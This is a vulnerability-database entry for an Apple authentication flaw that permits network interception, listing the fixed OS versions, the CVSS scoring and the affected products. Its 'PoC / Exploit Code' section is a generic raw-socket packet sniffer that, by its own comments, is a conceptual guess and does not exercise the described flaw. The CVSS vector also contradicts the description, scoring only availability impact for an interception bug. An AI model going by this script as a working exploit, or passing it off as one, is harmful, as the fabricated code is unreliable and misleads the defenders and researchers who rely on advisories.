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CVE-2026-28865 CVSS 7.5 HIGH

CVE-2026-28865

Published: 2026-03-25 01:17:11
Last Modified: 2026-03-25 21:30:16

Description

An authentication issue was addressed with improved state management. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. An attacker in a privileged network position may be able to intercept network traffic.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 18.7.7
iPadOS < 18.7.7
iOS < 26.4
iPadOS < 26.4
macOS Sequoia < 15.7.5
macOS Sonoma < 14.8.5
macOS Tahoe < 26.4
tvOS < 26.4
visionOS < 26.4
watchOS < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC Concept for CVE-2026-28865 # This script simulates a network interception scenario targeting the authentication bypass. # Note: This is a conceptual demonstration based on the vulnerability description. def simulate_interception(target_ip, target_port): """ Simulates a Man-in-the-Middle (MitM) attempt to intercept traffic. Exploits the authentication state management issue. """ try: # Create a raw socket to listen for network traffic # This requires root privileges s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) print(f"[*] Listening for traffic on {target_ip}:{target_port}...") while True: packet, addr = s.recvfrom(65565) # Parse packet header (simplified) ip_header = packet[0:20] iph = struct.unpack('!BBHHHBBH4s4s', ip_header) protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) if s_addr == target_ip: print(f"[+] Intercepted packet from {s_addr} to {d_addr}") # In a real exploit, the attacker would utilize the state management flaw # to bypass authentication and inject/modify content here. print("[!] Vulnerability triggered: Traffic intercepted.") break except PermissionError: print("[-] Error: Root privileges required for raw socket access.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP for testing in a controlled environment TARGET_IP = "192.168.1.10" TARGET_PORT = 443 simulate_interception(TARGET_IP, TARGET_PORT)

References

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